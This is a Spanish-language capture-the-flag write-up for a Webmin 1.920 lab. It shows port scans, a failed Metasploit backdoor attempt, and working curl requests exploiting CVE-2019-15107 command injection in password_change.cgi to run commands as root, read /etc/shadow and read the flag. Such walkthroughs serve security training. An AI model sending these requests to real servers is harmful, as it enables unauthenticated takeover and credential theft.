

Solución lab **WEBMIN** (nivel medio)

```
chifay@kali: ~/Whoami-Labs/WEBMIN
Session Actions Edit View Help

W H O A M I - L A B S . C O M

Bienvenido a WHOAMI-LABS.COM.
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde webmin.tar ...
[+] Imagen cargada exitosamente

[*] Iniciando laboratorio ...

[v] Laboratorio desplegado correctamente.

LAB: WEBMIN SERVER
DIFICULTAD: ***☆☆☆☆ medio (3 puntos)

IP del laboratorio: 172.17.0.2

Ingresa la ROOT flag (formato FLAG{...}):
```

Haremos un escaneo de puertos con nmap

```
chifay@kali: ~/Whoami-Labs/WEBMIN
Session Actions Edit View Help

chifay@kali: ~/Whoami-Labs/WEBMIN
(chifay@kali)~[~/Whoami-Labs/WEBMIN]
$ nmap -p- -sv -sC -sS -vvv -n -Pn --min-rate=5000 172.17.0.2 -oN nmap_Webmin
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-31 14:34 -0600

PORT      STATE SERVICE REASON      VERSION
10000/tcp open  http    syn-ack ttl 64 MiniServ 1.920 (Webmin httpd)
|_ http-favicon: Unknown favicon MD5: 5A25A5B95427329911FBA5162A3E642F
|_ http-methods:
|_   Supported Methods: GET HEAD POST OPTIONS
|_ http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 4A:BD:E5:EC:EF:98 (Unknown)
```

Se encontró el puerto 10000 abierto el cual corresponde a Webmin, haremos un escaneo a mayor profundidad para descubrir vulnerabilidades

```
(chifay@kali)~[~/Whoami-Labs/WEBMIN]
$ nmap -p 10000 --script vuln 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-31 14:37 -0600
Nmap scan report for 172.17.0.2
Host is up (0.000059s latency).

PORT      STATE SERVICE
10000/tcp open  snet-sensor-mgmt
|_ http-vuln-cve2006-3392:
|_   VULNERABLE:
|_     Webmin File Disclosure
|_       State: VULNERABLE (Exploitable)
|_       IDs: CVE:CVE-2006-3392
|_       Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
|_       This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
|_       to bypass the removal of "../" directory traversal sequences.
|_
|_   Disclosure date: 2006-06-29
|_   References:
|_     http://www.exploit-db.com/exploits/1997/
|_     http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
|_     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
MAC Address: 4A:BD:E5:EC:EF:98 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 21.19 seconds
```

Vulnerabilidad Encontrada

- **CVE-2006-3392:** Webmin File Disclosure (antes de 1.290)
- Permite leer archivos sin autenticación usando `../%01 sequences`

Busquemos en MetaSploit

```
msf > search webmin 1.92

Matching Modules

#  Full Name                                     Disclosure Date  Rank    Check  Name
-  -
0  exploit/linux/http/webmin_backdoor             2019-08-10      excellent Yes     Webmin password_change.cgi Backdoor
1  \_ target: Automatic (Unix In-Memory)          .               .       .       .
2  \_ target: Automatic (Linux Dropper)           .               .       .       .

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/http/webmin_backdoor
After interacting with a module you can manually set a TARGET with set TARGET 'Automatic (Linux Dropper)'
```

Vamos a probar el webmin_backdoor

```
msf exploit(linux/http/webmin_backdoor) > exploit
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit failed: Errno::ECONNREFUSED Transport endpoint is not connected - getpeername(2)
[*] Exploit completed, but no session was created.
msf exploit(linux/http/webmin_backdoor) >
```

Se ejecuta, pero no logramos la conexión

Investigando un poco más sobre las vulnerabilidades de webmin 1.920 encontré CVE-2019-15107 - Webmin RCE, esta vulnerabilidad está en el endpoint `/password_change.cgi`. El parámetro `old` (o `expired` en v1.890) se pasa directamente a un shell sin sanitización, permitiendo inyección de comandos que permite RCE como root sin autenticación

Vamos a realizar una prueba ejecutando el comando `id`

```
(chifay@kali) - [~/Whoami-Labs/WEBMIN]
$ curl -k -X POST "https://172.17.0.2:10000/password_change.cgi" \
-d "user=root&password=6expired=2&old=id&new1=test&new2=test" \
-H "Referer: https://172.17.0.2:10000/session_login.cgi"
<!DOCTYPE html>
<html data-host="172.17.0.2:10000" data-hostname="webmin." data-title-initial=" - Webmin 1.920 (Ubuntu Linux 18.04.6)" data-debug="0" data-session="0" data-script-name="/password_change.cgi" data-background-style="gainsboro" data-night-mode="0" data-high-contrast="0" data-navigation-collapsed="0" data-slider-fixed="0" data-sestatus="0" data-shell="0" data-webmin="0" data-usermin="" data-navigation="0" data-status="0" data-package-updates="0" data-csf="0" data-theme="blue" data-default-theme="blue" data-theme-version="19.36" data-theme-mversion="02" data-level="0" data-user-home="/root" data-user-id="0" data-user="" data-dashboard="1" data-ltr="1" data-language="en" data-language-full="en" data-charset="UTF-8" data-notice="0" data-redirect="" data-initial-wizard="0" data-webprefix="" data-webprefix-parent="" data-current-product="webmin" data-module="" data-uri="/password_change.cgi" data-progress="1" data-product="webmin" data-access-level="0">
```

Y más abajo encontramos la respuesta esperada

```
<div class="panel-body">
<hr>
<center><h3>Failed to change password : The current password is incorrectuid=0(root) gid=0(root) groups=0(root)
</h3></center>
<hr>
</div>
```

Con esto confirmamos dicha vulnerabilidad y ya tenemos RCE como root, vamos a probar leer el archivo shadow el cual es restringido solo para root

```
(chifay@kali)-[~/Whoami-Labs/WEBMIN]
$ curl -k -X POST "https://172.17.0.2:10000/password_change.cgi" \
-d "user=rootxx&pam=6expired=26old=cat /etc/shadow&new1=test&new2=test" \
-H "Referer: https://172.17.0.2:10000/session_login.cgi"
<!DOCTYPE html>
<html data-host="172.17.0.2:10000" data-hostname="webmin." data-title-initial=" - Webmin 1.920 (Ubuntu Linux 18.04.6)" data-debu
g="0" data-session="0" data-script-name="/password_change.cgi" data-background-style="gainsboro" data-night-mode="0" data-high-c
ontrast="0" data-navigation-collapsed="0" data-slider-fixed="0" data-sestatus="0" data-shell="0" data-webmin="0" data-usermin=""
data-navigation="0" data-status="0" data-package-updates="0" data-csf="0" data-theme="blue" data-default-theme="blue" data-them
e-version="19.36" data-theme-mversion="02" data-level="0" data-user-home="/root" data-user-id="0" data-user="" data-dashboard="
1" data-ltr="1" data-language="en" data-language-full="en" data-charset="UTF-8" data-notice="0" data-redirect="" data-initial-wi
zard="0" data-webprefix="" data-webprefix-parent="" data-current-product="webmin" data-module="" data-uri="/password_change.cgi"
data-progress="1" data-product="webmin" data-access-level="0">
```

```
<div class="panel-body">
<hr>
<center><h3>Failed to change password : The current password is incorrectroot*:19507:0:99999:7:::
daemon*:19507:0:99999:7:::
bin*:19507:0:99999:7:::
sys*:19507:0:99999:7:::
sync*:19507:0:99999:7:::
games*:19507:0:99999:7:::
man*:19507:0:99999:7:::
lp*:19507:0:99999:7:::
mail*:19507:0:99999:7:::
news*:19507:0:99999:7:::
uucp*:19507:0:99999:7:::
proxy*:19507:0:99999:7:::
www-data*:19507:0:99999:7:::
backup*:19507:0:99999:7:::
list*:19507:0:99999:7:::
irc*:19507:0:99999:7:::
gnats*:19507:0:99999:7:::
nobody*:19507:0:99999:7:::
_aprt*:19507:0:99999:7:::
</h3></center>
<hr>
</div>
```

Ya que confirmamos que podemos leer archivos restringidos del sistema, leamos el contenido de la bandera de root

```
(chifay@kali)-[~/Whoami-Labs/WEBMIN]
$ curl -k -X POST "https://172.17.0.2:10000/password_change.cgi" \
-d "user=rootxx&pam=6expired=26old=cat /root/flag.txt&new1=test&new2=test" \
-H "Referer: https://172.17.0.2:10000/session_login.cgi"
</div>
<div class="panel-body">
<hr>
<center><h3>Failed to change password : The current password is incorrectFLAG{[REDACTED]}
</h3></center>
<hr>
</div>
```

Ya que hemos obtenido la bandera solo nos resta verificarla

```
chifay@kali: ~/Whoami-Labs/WEBMIN
Session Actions Edit View Help
chifay@kali: ~/Whoami-Labs/WEBMIN chifay@kali: ~/Whoami-Labs/WEBMIN chifay@kali: ~/Whoami-Labs/WEBMIN
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde webmin.tar...
[+] Imagen cargada exitosamente

[*] Iniciando laboratorio...

[v] Laboratorio desplegado correctamente.

LAB: WEBMIN SERVER
DIFICULTAD: ★★★★★★ medio (3 puntos)

IP del laboratorio: 172.17.0.2

Ingresa la ROOT flag (formato FLAG{...}): FLAG{
;Felicitaciones hacker! Has conseguido la flag.

FECHA Y HORA: 2026-08-02 15:00:53 -0600

[*] Presiona Ctrl+C para eliminar el laboratorio
```